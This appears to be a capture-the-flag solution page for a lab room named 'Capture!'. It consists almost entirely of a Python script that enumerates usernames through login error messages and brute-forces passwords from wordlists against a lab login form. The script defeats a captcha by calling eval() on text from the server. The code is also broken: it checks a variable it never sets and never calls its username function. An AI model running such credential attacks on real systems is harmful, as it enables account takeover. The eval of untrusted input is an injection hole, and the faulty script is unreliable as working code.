Capture!


Код решения

import requests
from bs4 import BeautifulSoup
import random

url = "http://10.10.105.39/login"

with open("usernames.txt", "r") as f:
    usernames = f.read().splitlines()

with open("passwords.txt", "r") as f:
    passwords = f.read().splitlines()

def solve_captcha(captcha_text):
    expression = captcha_text.split("=")[0].strip()
    return str(eval(expression))

def send_request(username, password, captcha=None):
    data = {
        "username": username,
        "password": password,
    }
    if captcha:
        data["captcha"] = captcha

    headers = {
        "Host": "10.10.105.39",
        "Content-Length": str(len("&".join([f"{k}={v}" for k, v in data.items()]))),
        "Cache-Control": "max-age=0",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": "http://10.10.105.39",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": "http://10.10.105.39/login",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
    }

    response = requests.post(url, data=data, headers=headers)
    return response.text

def is_captcha_enabled(response_text):
    soup = BeautifulSoup(response_text, "html.parser")
    captcha_label = soup.find("h3", string="Captcha enabled")
    return captcha_label is not None

def is_user_valid(response_text, username):
    soup = BeautifulSoup(response_text, "html.parser")
    error_message = soup.find("p", class_="error")
    return not (error_message and f"The user '{username}' does not exist" in error_message.text)

def extract_captcha_text(response_text):
    soup = BeautifulSoup(response_text, "html.parser")
    captcha_text = soup.find("label", string="Captcha enabled").find_next("br").next_sibling.strip()
    return captcha_text

def find_username():
    for username in usernames:
        random_password = "random_password_" + str(random.randint(1, 1000))
        response_text = send_request(username, random_password)

        if is_captcha_enabled(response_text):
            print(f"Captcha enabled for username '{username}'. Solving captcha...")
            captcha_text = extract_captcha_text(response_text)
            captcha_solution = solve_captcha(captcha_text)
            print(f"Captcha solved: {captcha_solution}")
            response_text = send_request(username, random_password, captcha_solution)

        if is_user_valid(response_text, username):
            print(f"Valid username found: {username}")
            return username

    print("No valid username found.")
    return None

def find_password(username):
    for password in passwords:
        response_text = send_request(username, password)

        if is_captcha_enabled(response_text):
            print(f"Captcha enabled for password '{password}'. Solving captcha...")
            captcha_text = extract_captcha_text(response_text)
            captcha_solution = solve_captcha(captcha_text)
            print(f"Captcha solved: {captcha_solution}")
            response_text = send_request(username, password, captcha_solution)

        if "Error" not in response_text:
            print(f'----> Found Username: {username} Password: {password} ')
            exit()
        else:
            print(f'[*]Trying password: {password} for user {username}')

if valid_username:
    find_password(valid_username)
else:
    print("Stopping: no valid username found.")

Видео выполнения


Загрузки

Download files archive